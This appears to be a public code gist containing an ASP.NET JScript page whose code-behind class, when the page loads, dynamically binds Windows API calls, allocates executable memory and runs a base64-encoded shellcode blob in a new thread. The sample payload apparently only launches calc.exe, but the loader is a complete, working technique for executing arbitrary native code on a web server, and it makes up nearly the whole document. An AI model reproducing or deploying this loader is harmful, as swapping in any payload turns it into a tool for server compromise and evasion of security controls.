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@subTee /shellcode.aspx Secret
Last active Dec 22, 2015

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Jscript ServerSide ShellCode Execution
<%@ Page LANGUAGE="JScript" CodeBehind="shellcode.aspx.js" Inherits="JSClass.ShellCodeClass" Src="shellcode.aspx.js" AutoEventWireup="true" EnableViewState="true"%>
<html>
<head>
<title>ShellCode Test</title>
</head>
<body>
"When you see something that is technically sweet,<br>
you go ahead and do it and you argue about what to do <br>
about it only after you have had your technical success." <br>
J. Robert Oppenheimer
</body>
</html>
import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
import System.Configuration.Install;
//Imports for Code-Behind Page
import System.web;
import System.Web.UInt32
package JSClass {
public class ShellCodeClass extends System.Web.UI.Page{
function Page_Load(sender:Object, e:EventArgs) : void {
ShellcodeExec();
}
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
var MEM_COMMIT:uint = 0x1000;
var PAGE_EXECUTE_READWRITE:uint = 0x40;
function InvokeWin32(dllName:String, returnType:Type,
methodName:String, parameterTypes:Type[], parameters:Object[])
{
// Begin to build the dynamic assembly
var domain = AppDomain.CurrentDomain;
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
var module = assembly.DefineDynamicModule('PInvokeModule');
var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
// Define the actual P/Invoke method
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
// Apply the P/Invoke constructor
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
method.SetCustomAttribute(attr);
// Create the temporary type, and invoke the method.
var realType = type.CreateType();
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
}
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
//return InvokeWin32("kernel32.dll", Type.GetType("System.UInt32"), "VirtualAlloc", parameterTypes, parameters );
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
}
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
}
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
var parameters:Object[] = [handle, dwMiliseconds ];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
}
function ShellcodeExec()
{
//Orginal Byte Array = '0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00'
//Base64 Encoded
var shellcodestr:String = '/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYwA=';
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
var hThread:IntPtr = IntPtr.Zero;
var threadId:UInt32 = 0;
// prepare data
var pinfo:IntPtr = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
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